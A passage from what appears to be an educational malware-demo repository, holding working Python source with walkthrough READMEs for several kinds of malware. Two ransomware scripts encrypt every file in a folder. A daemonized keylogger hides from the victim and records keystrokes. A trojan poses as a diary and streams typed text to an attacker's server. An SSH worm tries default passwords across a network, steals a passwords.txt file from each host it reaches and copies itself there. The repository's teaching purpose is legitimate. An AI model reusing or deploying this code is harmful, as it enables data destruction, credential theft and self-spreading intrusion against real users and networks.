file.read() 66 | # Decrypt the file content. 67 | decrypted_data = base64.b64decode(content) 68 | # Rewrite the file with the encoded content. 69 | with open(filename, 'w') as file: 70 | content = file.write(decrypted_data.decode('utf-8')) 71 | 72 | def get_files_in_folder(self, path): 73 | """ Returns a `list` of all files in the folder. 74 | 75 | :param str path: Path to the folder 76 | """ 77 | # List the directory to get all files. 78 | files = [] 79 | for file in os.listdir(path): 80 | # For the demostration purposes ignore README.md 81 | # from the repository and this file. 82 | if file == 'README.md' or file == sys.argv[0]: 83 | continue 84 | 85 | file_path = os.path.join(path, file) 86 | if os.path.isfile(file_path): 87 | files.append(file_path) 88 | 89 | return files 90 | 91 | def encrypt_files_in_folder(self, path): 92 | """ Encrypt all files in the given directory specified 93 | by path. 94 | 95 | :param str path: Path of the folder to be encrypted. 96 | :returns: Number of encrypted files (`int`). 97 | """ 98 | num_encrypted_files = 0 99 | files = self.get_files_in_folder(path) 100 | 101 | # Encrypt each file in the directory. 102 | for file in files: 103 | logging.debug('Encrypting file: {}'.format(file)) 104 | self.encrypt_file(file) 105 | num_encrypted_files += 1 106 | 107 | self.ransom_user() 108 | 109 | return num_encrypted_files 110 | 111 | def decrypt_files_in_folder(self, path): 112 | """ Decrypt all files in the given directory specified 113 | by path. 114 | 115 | :param str path: Path of the folder to be decrypted. 116 | """ 117 | # Obtain a key from the user. 118 | key = self.obtain_key() 119 | if key != self.key: 120 | print('Wrong key!') 121 | return 122 | 123 | files = self.get_files_in_folder(path) 124 | 125 | # Decrypt each file in the directory. 126 | for file in files: 127 | self.decrypt_file(key, file) 128 | 129 | 130 | if __name__ == '__main__': 131 | logging.basicConfig(level=logging.DEBUG) 132 | 133 | # Create ransomware. 134 | ransomware = Ransomware('SimpleRansomware') 135 | 136 | # Encrypt files located in the same folder as our ransomware. 137 | path = os.path.dirname(os.path.abspath(__file__)) 138 | number_encrypted_files = ransomware.encrypt_files_in_folder(path) 139 | print('Number of encrypted files: {}'.format(number_encrypted_files)) 140 | 141 | ransomware.decrypt_files_in_folder(path) 142 | -------------------------------------------------------------------------------- /ransomware/target_file.ext: -------------------------------------------------------------------------------- 1 | Just an ordinary text file. 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scp==0.13.2 2 | pyxhook==1.0.0 3 | cached_property==1.5.1 4 | paramiko==2.4.2 5 | PySide2==5.13.0 6 | python_daemon==2.2.3 7 | -------------------------------------------------------------------------------- /setup_env.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # This script automates the creation of Python virtual environment. 3 | 4 | if [ -d "virtualenv" ]; then 5 | echo "Virtual environment 'virtualenv' found, activating it." 6 | else 7 | echo "Virtual environment not found, creating new 'virtualenv'." 8 | python3 -m venv virtualenv 9 | if [ $? -eq 0 ]; then 10 | echo "Virtual environment was successfully created." 11 | else 12 | echo "Virtual environment was NOT created, aborting." 13 | exit 1 14 | fi 15 | fi 16 | 17 | source virtualenv/bin/activate 18 | if [ $? -eq 0 ]; then 19 | echo "Virtual environment is successfully activated." 20 | else 21 | echo "Virtual environment was NOT activated, aborting." 22 | exit 1 23 | fi 24 | 25 | echo "Installing required packages." 26 | pip3 install -r requirements.txt 27 | if [ $? -eq 0 ]; then 28 | echo "All requirements were successfully installed." 29 | else 30 | echo "Requirements were NOT installed properly, aborting." 31 | exit 1 32 | fi 33 | 34 | echo "Done." 35 | -------------------------------------------------------------------------------- /simple_ransomware/decrypt.py: -------------------------------------------------------------------------------- 1 | import os 2 | from cryptography.fernet import Fernet 3 | 4 | 5 | files = [] 6 | for file in os.listdir(): 7 | if file =="voldemort.py" or file == "thekey.key" or file == "decrypt.py": 8 | continue 9 | if os.path.isfile(file): 10 | files.append(file) 11 | 12 | 13 | print("The number of files is {} and the files are {}".format(len(files),files)) 14 | 15 | 16 | with open("thekey.key", 'rb') as key: 17 | secretkey = key.read() 18 | #secretkey = secretkey.decode('utf-8') 19 | print(secretkey) 20 | 21 | secretpassword = "ilovecoding" 22 | 23 | user_phrase = input("Enter the secret phase to decrypt your file/s!!! \n") 24 | if user_phrase != secretpassword: 25 | print("Wrong password!!!!") 26 | import sys 27 | sys.exit() 28 | 29 | for file in files: 30 | with open(file,'rb') as thefile: 31 | contents = thefile.read() 32 | print("contents is",contents) 33 | 34 | print("\n") 35 | contents_decrypted = Fernet(secretkey).decrypt(contents) #encrypt the file content 36 | print("Content decrypted: ", contents_decrypted.decode('utf-8')) 37 | with open(file,'wb') as thefile: 38 | thefile.write(contents_decrypted) 39 | -------------------------------------------------------------------------------- /simple_ransomware/file1.txt: -------------------------------------------------------------------------------- 1 | File1 2 | -------------------------------------------------------------------------------- /simple_ransomware/file2.txt: -------------------------------------------------------------------------------- 1 | File2 2 | -------------------------------------------------------------------------------- /simple_ransomware/file3.txt: -------------------------------------------------------------------------------- 1 | File3 2 | -------------------------------------------------------------------------------- /simple_ransomware/thekey.key: -------------------------------------------------------------------------------- 1 | 33rOi2yOcir8kfgiH-rt1UZ-mNXA_6dQ6zRD1SL4iio= -------------------------------------------------------------------------------- /simple_ransomware/voldemort.py: -------------------------------------------------------------------------------- 1 | import os 2 | from cryptography.fernet import Fernet 3 | 4 | 5 | files = [] 6 | for file in os.listdir(): 7 | if file =="voldemort.py" or file == "thekey.key" or file == "decrypt.py": 8 | continue 9 | if os.path.isfile(file): 10 | files.append(file) 11 | 12 | 13 | print("The number of files is {} and the files are {}".format(len(files),files)) 14 | 15 | key= Fernet.generate_key() 16 | 17 | with open("thekey.key", 'wb+') as thekey: 18 | thekey.write(key) 19 | 20 | for file in files: 21 | with open(file,'rb+') as thefile: 22 | contents = thefile.read() 23 | contents_encrypted = Fernet(key).encrypt(contents) #encrypt the file content 24 | with open(file,'wb+') as thefile: 25 | thefile.write(contents_encrypted) 26 | -------------------------------------------------------------------------------- /spyware/README.md: -------------------------------------------------------------------------------- 1 | # Spyware 2 | 3 | There exist many ways of spying on the victim. Our **spyware** is represented by **keylogger**, a simple program that monitors pressed keys on the keyboard and can see everything you type. This **keylogger** is implemented in the file `keylogger.py`. 4 | 5 | #### Demonstration of behavior 6 | 7 | We don't need any specific preparation before an execution of the keylogger (`./keylogger.py`). We can observe that after the execution nothing happened and we can type new commands, just like in the case of us pressing only the key `Enter`. Now you can do on your system anything you want. For the demonstration you can open a browser and type something like `Passwd` representing your potential password, just like you would do on any login page of your social media. 8 | 9 | You can now spot that in the same folder as our **keylogger** is located a new file `activity.log`. By observing the file your can see that it contains all keys you have pressed on your keyboard after the execution, including your password `Passwd`. Attacker can easily access those file and modify the keylogger to send them on specific e-mail address or with a combination with different kind of malware he might gain direct access to them via network. 10 | 11 | ``` 12 | Key: P 13 | Key: a 14 | Key: s 15 | Key: s 16 | Key: w 17 | Key: d 18 | ``` 19 | 20 | Creation of **keylogger** is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of operating systems. That's why we should be always cautions when we execute any uncommon or not trusted file. 21 | 22 | #### How does it work? 23 | 24 | - Firstly, we configure our logger. We can specify the file in which should be the data stored as well as a format of the message. 25 | ```python 26 | logging.basicConfig( 27 | level=logging.DEBUG, 28 | filename='activity.log', 29 | format='Key: %(message)s', 30 | ) 31 | ``` 32 | - Then we have to obtain the logging file handler. We will explain why in the next step. 33 | ```python 34 | handler = logging.getLogger().handlers[0].stream 35 | ``` 36 | - To make our spyware harder to spot by the victim, we want it to run in the background as a **daemon**. 37 | To learn more about daemons, see [the guide to daemons](https://kb.iu.edu/d/aiau). For this purpose we 38 | will use a standart Python module `daemon` that will allow us to daemonize our **keylogger**. 39 | When the the daemon is created, we will loose connections to all file handler like `stdout` or even 40 | our logging file unless we specify that the files should be preserved. That's why we have obtained 41 | logging file handler in the previous step. In the context of our hidden daemon we can now create the 42 | keylogger and start its activity. 43 | ```python 44 | # Daemonize the process to hide it from the victim. 45 | with daemon.DaemonContext(files_preserve=[handler]): 46 | # Create keylogger. 47 | keylogger = Keylogger('SimpleSpyware') 48 | # Start logging activity of the user. 49 | keylogger.start_logging() 50 | ``` 51 | - For obtaining the _key press events_ we can use a python module for Linux called `pyxhook`. If we 52 | would create a keylogger for Windows, we should use module `pyHook` instead, but their interface is 53 | very similar. We create a **hooking manager**, that will manage event handling and allows us to 54 | set a callback for those events. Callback is in our case a function that will be called each time a new 55 | event is obtained (__keydown_callback_). The only thing this method does is logging the key into our 56 | specified file `activity.log`. 57 | ```python 58 | hook_manager = pyxhook.HookManager() 59 | # Assign callback for handling key strokes. 60 | hook_manager.KeyDown = self._keydown_callback 61 | # Hook the keyboard and start logging. 62 | hook_manager.HookKeyboard() 63 | hook_manager.start() 64 | ``` 65 | -------------------------------------------------------------------------------- /spyware/keylogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of simple keylogger in Python. 4 | """ 5 | 6 | import daemon 7 | import logging 8 | import pyxhook 9 | 10 | 11 | class Keylogger: 12 | """ This class represents the code injecting malware. """ 13 | 14 | def __init__(self, name): 15 | self._name = name 16 | 17 | @property 18 | def name(self): 19 | """ Name of the malware. """ 20 | return self._name 21 | 22 | @name.setter 23 | def name(self, new_name): 24 | self._name = new_name 25 | 26 | def start_logging(self): 27 | """ Log every keystroke of the user into log file. """ 28 | # Crete hook manager. 29 | hook_manager = pyxhook.HookManager() 30 | # Assign callback for handling key strokes. 31 | hook_manager.KeyDown = self._keydown_callback 32 | # Hook the keyboard and start logging. 33 | hook_manager.HookKeyboard() 34 | hook_manager.start() 35 | 36 | def _keydown_callback(self, key): 37 | """ This function is handler of key stroke event. """ 38 | logging.debug(chr(key.Ascii)) 39 | 40 | 41 | if __name__ == '__main__': 42 | # Setup logger. 43 | logging.basicConfig( 44 | level=logging.DEBUG, 45 | filename='activity.log', 46 | format='Key: %(message)s', 47 | ) 48 | # Get file handler. We need to pass it to our daemon. 49 | handler = logging.getLogger().handlers[0].stream 50 | 51 | # Daemonize the process to hide it from the victim. 52 | with daemon.DaemonContext(files_preserve=[handler]): 53 | # Create keylogger. 54 | keylogger = Keylogger('SimpleSpyware') 55 | # Start logging activity of the user. 56 | keylogger.start_logging() 57 | -------------------------------------------------------------------------------- /trojan/README.md: -------------------------------------------------------------------------------- 1 | # Trojan 2 | 3 | Our **trojan** is implemented in the file `trojan.py`. It tries to collect data from the victim disquised as a common diary and send them secretly to the server of the attacker. The server is implemented in the file `server.py`. We should be able to see all notes written into the diary without any knowledge of the victim. 4 | 5 | #### Demonstration of behavior 6 | 7 | The first thing that the attacker must do is to set a server that collects data sent by the victim. That's why we setup a running server on our computer by running `./server.py`. You should see the following text: 8 | ``` 9 | DEBUG:user:Server was successfully initialized. 10 | ``` 11 | In the second console run the **trojan** (diary) as the victim with the command `./trojan.py`. On the attacker's console we should immediately see the following text: 12 | ``` 13 | Connection with trojan established from ('127.0.0.1', 46682) 14 | ``` 15 | That means that our client has made a successful connection to our server. Type a few lines of notes into the diary. We can observe that all notes are being shown to the attacker as well. 16 | 17 | ##### What does the victim see 18 | ``` 19 | Hello, this is your diary. You can type here your notes: 20 | Hello diary, 21 | let me tell you a secret. 22 | ... 23 | ``` 24 | ##### What does the attacker see 25 | ``` 26 | DEBUG:user:Server was successfully initialized. 27 | Connection with trojan established from ('127.0.0.1', 46682) 28 | INFO:user:b'Hello diary,\n' 29 | INFO:user:b'let me tell you a secret.\n' 30 | ... 31 | ``` 32 | 33 | Creation of basic **trojan** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file. 34 | 35 | #### How does it work? 36 | 37 | ##### Server 38 | 39 | - Firstly, we create our **server** that should collect the data obtained from **trojan** executed 40 | by the victim. The server will listen on the specific port that must be the same as is specified in our **trojan**. 41 | In this example will be both the **server** and **trojan** executed on the same computer, but the 42 | **server** might be remote and located anywhere in the world. 43 | ```python 44 | server = Server(27000) 45 | ``` 46 | The communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-).
47 | ```python 48 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 49 | ``` 50 | 51 | - Then we must initialize the server by binding it to the specified port. 52 | ```python 53 | server.initialize() 54 | ``` 55 | - The most important part is the connection with the victim. This is implemented in the function _collect_data_ provided by the **server**. It waits for the connection initiated by the **trojan** after its execution on the victim's system. After that it just constantly checks whether the client has sent any data. If so, they are logged into the console so that the attacker can see them. If the sent data are "empty", the client has closed the connection. 56 | ```python 57 | while True: 58 | data = connection.recv(1024) 59 | if not data: 60 | break 61 | logging.debug(data) 62 | ``` 63 | 64 | ##### Trojan (client) 65 | 66 | - Firstly, we must create our **trojan**. The service requires a name of the host (server) and the 67 | specified port for the communication. Host named `localhost` means that the server is listening on the same 68 | system as our client. 69 | ```python 70 | trojan = Trojan('localhost', 27000) 71 | ``` 72 | - Now we try to connect to the server. This connection should remain hidden to the victim. The logging 73 | message is presented just so we can spot any errors in our example. 74 | ```python 75 | try: 76 | self.socket.connect((self.host, self.port)) 77 | except socket.error: 78 | logging.debug('Trojan could not connect to the server.') 79 | return 80 | ``` 81 | 82 | - Then the **trojan** tries to act like a harmless program by greeting the victim. 83 | ```python 84 | print('Hello, this is your diary. You can type your notes here:') 85 | ``` 86 | - As the victim types his or her notes into the diary (`stdin`), each line is sent to the **attacker's server**. We expect the data to be encoded as **UTF-8** and because the communication interface expects _binary_ data, we must transform the obtained _strings_ into _bytes_. 87 | ```python 88 | while True: 89 | character = sys.stdin.read(1) 90 | self.socket.send(bytes(character, 'utf-8')) 91 | ``` 92 | -------------------------------------------------------------------------------- /trojan/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of the server that collects data sent by trojan. 4 | """ 5 | 6 | import logging 7 | import socket 8 | 9 | 10 | class Server: 11 | """ This class represents a server of the attacker that 12 | collects data from the victim. 13 | """ 14 | 15 | def __init__(self, port): 16 | self._port = port 17 | # Initialize the socket for connection. 18 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | 20 | @property 21 | def port(self): 22 | """ Port, on which the server runs (`int`). """ 23 | return self._port 24 | 25 | @port.setter 26 | def port(self, new_port): 27 | self._port = new_port 28 | 29 | @property 30 | def socket(self): 31 | """ Server socket. """ 32 | return self._socket 33 | 34 | def initialize(self): 35 | """ Initialize server before session. """ 36 | try: 37 | self.socket.bind(('localhost', self._port)) 38 | self.socket.listen() 39 | logging.debug('Server was successfully initialized.') 40 | except socket.error: 41 | print('Server was not initialized due to an error.') 42 | 43 | def collect_data(self): 44 | """ Collect data from client trojan application. """ 45 | # Establish a connection with the victim. 46 | connection, address = self.socket.accept() 47 | with connection: 48 | print('Connection with trojan established from {}'.format(address)) 49 | 50 | # Receive data sent by trojan diary. 51 | while True: 52 | data = connection.recv(1024) 53 | if not data: 54 | break 55 | logging.info(data) 56 | 57 | 58 | if __name__ == '__main__': 59 | logging.basicConfig(level=logging.DEBUG) 60 | 61 | # Create and initialize a server running on attacker's side. 62 | server = Server(27000) 63 | server.initialize() 64 | # Collect the data sent by trojan that was executed on victim's side. 65 | server.collect_data() 66 | -------------------------------------------------------------------------------- /trojan/trojan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of trojan that collects data and sends them to server. 4 | It acts like an ordinary diary. 5 | """ 6 | 7 | import logging 8 | import socket 9 | import sys 10 | 11 | 12 | class Trojan: 13 | """ This class represents the implementation of trojan disguised 14 | as diary. 15 | """ 16 | 17 | def __init__(self, host, port): 18 | self._host = host 19 | self._port = port 20 | # Initialize socket for the connection. 21 | self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | 23 | @property 24 | def host(self): 25 | """ Server that collects obtained data. """ 26 | return self._host 27 | 28 | @host.setter 29 | def host(self, new_host): 30 | self._host = new_host 31 | 32 | @property 33 | def port(self): 34 | """ Port, on which the server runs (`int`). """ 35 | return self._port 36 | 37 | @port.setter 38 | def port(self, new_port): 39 | self._port = new_port 40 | 41 | @property 42 | def socket(self): 43 | """ Client socket. """ 44 | return self._socket 45 | 46 | def collect_data(self): 47 | """ Secretly collect data and send them to server. """ 48 | # Create a connection to the server. 49 | try: 50 | self.socket.connect((self.host, self.port)) 51 | except socket.error: 52 | logging.debug('Trojan could not connect to the server.') 53 | return 54 | 55 | # Try to act as an ordinary diary. 56 | print('Hello, this is your diary. You can type here your notes: ') 57 | 58 | # Read notes written by the victim and send them to the server. 59 | while True: 60 | character = sys.stdin.read(1) 61 | self.socket.send(bytes(character, 'utf-8')) 62 | 63 | 64 | if __name__ == '__main__': 65 | logging.basicConfig(level=logging.DEBUG) 66 | 67 | # Initialize trojan application that acts like an diary. 68 | trojan = Trojan('localhost', 27000) 69 | # Collect the data and send them to the server running 70 | # on the attacket's side. 71 | trojan.collect_data() 72 | -------------------------------------------------------------------------------- /worm/README.md: -------------------------------------------------------------------------------- 1 | # Worm 2 | 3 | Our **worm** is implemented in the file `worm.py`. It tries to spread over the selected network via **SSH** connection and copy itself on the remote host. If the victim has a file **passwords.txt** in the home directory, it will obtain the file and send it back to the system of the attacker. 4 | 5 | #### Demonstration of behavior 6 | 7 | A valid infrastructure needs to be setup for this example. We need at least two hosts on the same network. To do this, it is recommended to setup two **virtual machines**, one for the attacker and one for the victim. To learn more about virtual machines, see [the guide to virtual machines](https://www.lifewire.com/virtual-machine-4147598). A free and popular virtualization tool is [Oracle VM VirtualBox](https://www.virtualbox.org/). For the system of the victim use [Metasploitable2](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/) (a simple Linux VM often used for demostration of security vulnerabilities). Once you create both VMs, to connect them to the same network in VirtualBox go to _Setting->Network->AdapterN->Attached to_ and select Internal network. This must be done for both VMs. 8 | 9 | Now run both systems and log in. The default credentials on the **Metasploitable2** are 10 | ``` 11 | user: msfadmin 12 | pass: msfadmin 13 | ``` 14 | Make sure that you have this repo cloned on the system of the attacker. The last thing we have to do is to assign valid **IP addresses** to both machines. This can be done with the following command: 15 | ``` 16 | ip addr add [IP addr]/24 dev [Interface] 17 | ``` 18 | Assign **198.168.0.3** to the victim and **168.168.0.2** to the attacker. To make sure you have done everything correctly, make the systems ping each other. 19 | ``` 20 | Victim: ping 198.168.0.2 21 | Attacker: ping 198.168.0.3 22 | ``` 23 | If you can see the response, everything is fine and we can proceed to the actual demonstration. 24 | 25 | Make a simple file on the victim's system containing something like the following text and name it **passwords.txt**. This represents private file of the user on the vulnerable system. 26 | ``` 27 | My social media credentials 28 | --------------------------- 29 | user: user 30 | pass: mysecurepassword 31 | ``` 32 | 33 | Finally, we can execute our worm on the system of the attacker (`./worm.py`). This worm will try to access each host on the network and log in via **SSH**. To learn more about **SSH** see [the guide to SSH](https://medium.com/@Magical_Mudit/understanding-ssh-workflow-66a0e8d4bf65). If it succeeds, it copies itself on the vulnerable system and steals the file **passwords.txt** if the user has one. If everything was done correctly, you should see the following log of the worm. It has tried to log in to hosts **198.168.0.1** and **198.168.0.2** with various credentials and failed. But it has successfully connected to **2 users** on the system **198.168.0.3** and stole the password file from one of them. You should see this file in the same directory on the system of the attacker. 34 | 35 | ``` 36 | DEBUG:root:Trying to spread on the remote host: 198.168.0.1 37 | DEBUG:root:The remote host refused connection with credentials user,user. 38 | DEBUG:root:The remote host refused connection with credentials root,root. 39 | DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin. 40 | 41 | DEBUG:root:Trying to spread on the remote host: 198.168.0.2 42 | DEBUG:root:The remote host refused connection with credentials user,user. 43 | DEBUG:root:The remote host refused connection with credentials root,root. 44 | DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin. 45 | 46 | DEBUG:root:Trying to spread on the remote host: 198.168.0.3 47 | DEBUG:root:The worm is succesfully connected to the remote host [user, user]. 48 | DEBUG:root:The victim did not have passwords.txt 49 | DEBUG:root:The remote host refused connection with credentials user,user. 50 | DEBUG:root:The remote host refused connection with credentials root,root. 51 | DEBUG:root:The worm is succesfully connected to the remote host [msfadmin, msfadmin]. 52 | DEBUG:root:The victim had passwords.txt 53 | ... 54 | ``` 55 | 56 | The creation of **worm** itself is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of networking. That's why we should keep our systems updated, secured and credentials strong. 57 | 58 | #### How does it work? 59 | 60 | - Firstly, we create our **worm** and pass it a **network address** representing the network, on which it should spread. 61 | ```python 62 | worm = Worm('198.168.0.0') 63 | ``` 64 | - Then we call function _spread_via_ssh_, which tries to connect to each host on the network, establish an **SSH** connection and spread itself (while stealing the password file). 65 | ```python 66 | worm.spread_via_ssh() 67 | ``` 68 | - At the beginning, this method creates an **SSHClient** from _paramiko_ module that would help us to create the connection. 69 | ```python 70 | ssh = paramiko.SSHClient() 71 | ssh.get_missing_host_key_policy(paramiko.AutoAddPolicy()) 72 | ``` 73 | - Then it iterates over all host addresses on the network (implemented as generator _generate_addresses_on_network_). The worm contains property _credentials_, which represents combinations of usernames and passwords that the worm is willing to try. That means that it will try to login via **SSH** 3 times on each host. **SSH** uses port 22. 74 | ```python 75 | for remote_address in self.generate_addresses_on_network(): 76 | for user, passw in self.credentials: 77 | try: 78 | ssh.connect(remote_address, port=22, username=user, password=passw) 79 | ... 80 | ``` 81 | - If the connection fails, it is captured as an exception and the worm continues with another user or host. However, if the connection is established (as in the case of **198.162.0.3**), we can create an **SCP client** that will transmit our files. To learn more about **SCP**, see [the guide to SCP](https://en.wikipedia.org/wiki/Secure_copy). 82 | ``` 83 | scp_client = scp.SCPClient(ssh.get_transport()) 84 | - Now we can execute file transmition commands. One will obtain the password file and the second one will send the worm to the remote host. A name of the file is obtained from the system arguments. 85 | ```python 86 | scp_client.get('password.txt') 87 | scp_client.put(sys.argv[0]) 88 | ``` 89 | -------------------------------------------------------------------------------- /worm/worm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ Implementation of simple worm that spreads via SSH connection. 4 | """ 5 | 6 | import logging 7 | import paramiko 8 | import scp 9 | import sys 10 | 11 | 12 | class Worm: 13 | """ This class represents implementation of worm that spreads via SSH 14 | connections. 15 | """ 16 | 17 | def __init__(self, network_address): 18 | self._network = network_address 19 | 20 | @property 21 | def network(self): 22 | """ Network, on which the worm spreads. """ 23 | return self._network 24 | 25 | @network.setter 26 | def network(self, new_network): 27 | self._network = new_network 28 | 29 | @property 30 | def credentials(self): 31 | """ Possible SSH credentials of the victim. """ 32 | return ( 33 | ('user', 'user'), 34 | ('root', 'root'), 35 | ('msfadmin', 'msfadmin') 36 | ) 37 | 38 | def generate_addresses_on_network(self): 39 | """ Generate addresses of hosts on the given network. 40 | For simplicity is expected the following mask: 41 | 255.255.255.0 42 | """ 43 | network = self.network.split('.') 44 | for host in range(1, 256): 45 | network[-1] = str(host) 46 | yield '.'.join(network) 47 | 48 | def spread_via_ssh(self): 49 | """ Spread the worm on the network via SSH connections. 50 | To establish SSH connection try selected user-password 51 | combinations. When the connection is established, copy 52 | the worm to the remote host. 53 | """ 54 | # Setup SSH client. 55 | ssh = paramiko.SSHClient() 56 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 57 | 58 | for remote_address in self.generate_addresses_on_network(): 59 | logging.debug('Trying to spread on the remote host: {}'.format(remote_address)) 60 | for user, passw in self.credentials: 61 | try: 62 | ssh.connect(remote_address, port=22, username=user, password=passw, timeout=10) 63 | logging.debug('The worm is succesfully connected to the remote host [{}, {}].'.format(user, passw)) 64 | 65 | # Create SCP client for file transmission. 66 | scp_client = scp.SCPClient(ssh.get_transport()) 67 | # Obtain file with victim's passwords. 68 | try: 69 | scp_client.get('passwords.txt') 70 | logging.debug('The victim had passwords.txt') 71 | except Exception: 72 | logging.debug('The victim did not have passwords.txt') 73 | 74 | # Upload worm to the remote host. 75 | scp_client.put(sys.argv[0]) 76 | print() 77 | 78 | except Exception: 79 | logging.debug('The remote host refused connection with credentials {},{}.'.format(user, passw)) 80 | 81 | 82 | if __name__ == '__main__': 83 | logging.basicConfig(level=logging.DEBUG) 84 | # Disable basic logging of paramiko to make log easier to read. 85 | logging.getLogger('paramiko').setLevel(logging.CRITICAL) 86 | 87 | # Initialize worm with the network address. 88 | worm = Worm('198.168.0.0') 89 | # Spread via SSH connection on the network. 90 | worm.spread_via_ssh() 91 | --------------------------------------------------------------------------------